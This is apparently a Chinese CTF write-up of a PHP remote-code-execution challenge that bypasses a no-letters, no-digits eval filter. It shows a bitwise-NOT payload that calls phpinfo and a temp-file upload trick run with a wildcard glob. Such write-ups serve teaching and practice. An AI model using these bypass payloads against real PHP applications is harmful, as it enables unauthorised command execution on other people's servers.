目录
我们一起来看一下下面这个远程命令执行的题:
- if(isset($_GET['code'])){
- $code = $_GET['code'];
- if(strlen($code)>35){
- die("Long.");
- }
- if(preg_match("/[A-Za-z0-9_$]+/",$code)){
- die("NO.");
- }
- eval($code);
- }else{
- highlight_file(__FILE__);
- }
这道题code接get传参,完了对传进来的内容进行正则匹配,这个正则过滤了大小写、数字、_、$,并且对传进来参数长度也进行了限制,那么这个payload应该怎么写呢,这道题应该怎么解呢?
在php版本7以上会支持()()这种形式的命令执行,如下图所示: 那么这道题就可以用这样的方式来做,但是还是会出现字母,我们就会想到编码,get传参使用urlcode编码,但是这种编码对只会对符号进行编码,字母并不在它的编码范围里,这是我们想到取反操作,我们去php里面看看取反吧。 取反得到%8F%97%8F%96%91%99%90,那我们在对这一串进行取反不就又可以变回phpinfo了。那么就可以构造payload
?code=(~%8F%97%8F%96%91%99%90)();
执行成功,我们只用把里面要去反的函数的反码进行更换即可。但是,这种方法只适用于php版本在7以上,低版本并不支持这种形式。我们还需要再想想。
在php中上传文件,会在临时目录里面写入所上传文件的内容,那我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母,这样我们只需要执行这个临时文件即可,我们一起来试试
首先我们需要构建上传文件的post包,那么我们写一个文件上传的html文件并用BP进行抓包,其中:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXDzjrV2UX482mQRG
------WebKitFormBoundaryXDzjrV2UX482mQRG
Content-Disposition: form-data; name="file"; filename="鏂板缓鏂囨湰鏂囨。 (3).txt"
Content-Type: text/plain
#!/bin/bash
id
------WebKitFormBoundaryXDzjrV2UX482mQRG--
这些是我们需要放到构建的post包里面的内容,只有这样这些文件才会被保存在临时文件之下,我们才可以执行。
现在post包已经构建好了,我们想想怎么执行,首先肯定想到. ./ bash 这三种方法,我们只能用.来执行,因为bash有字幕出现,而./需要这个文件有执行权限,.就不用权限,他是将文件作为bash命令解释器的参数来执行的。
执行方式确定好之后,我们应该怎么确定能准确的执行那个临时文件,因为我们并不知道临时文件的名字,经过查资料之后我们知道php默认的临时文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母,那么我们就可以利用正则来匹配这些特征。
综上所述,payload构建如下:这里的[@-[]表示匹配大写字母,因为在 ASCII 表中,大写字母的确位于 @
和 [
之间。
. /???/????????[@-[]
那基本问题已经解决了,我们一起构建一下试试 很明显,我们写入的命令id被执行了,我们我们一起分析一下是怎么回事,?>是为了闭合,=是代替了
在发包之后会出现200,但是id命令并没有执行,是因为哪个临时文件最后一位会随机大小写字母所以当最后以为是小写的时候我们就匹配不到,我们只能匹配到最后一位是大写字母的时候,所以多尝试几次即可。
这道题属于是一个无字母无数字的题目,除了高版本的解法之外,我们更应该关注通用版本的解法,我们主要利用的php代码文件上传在代码执行完之前会存放在临时文件里,我们利用它的默认命名方式来进行一个正则匹配,而且Linux一般文件都不会用大写命名,从而写出这个正则来进行匹配。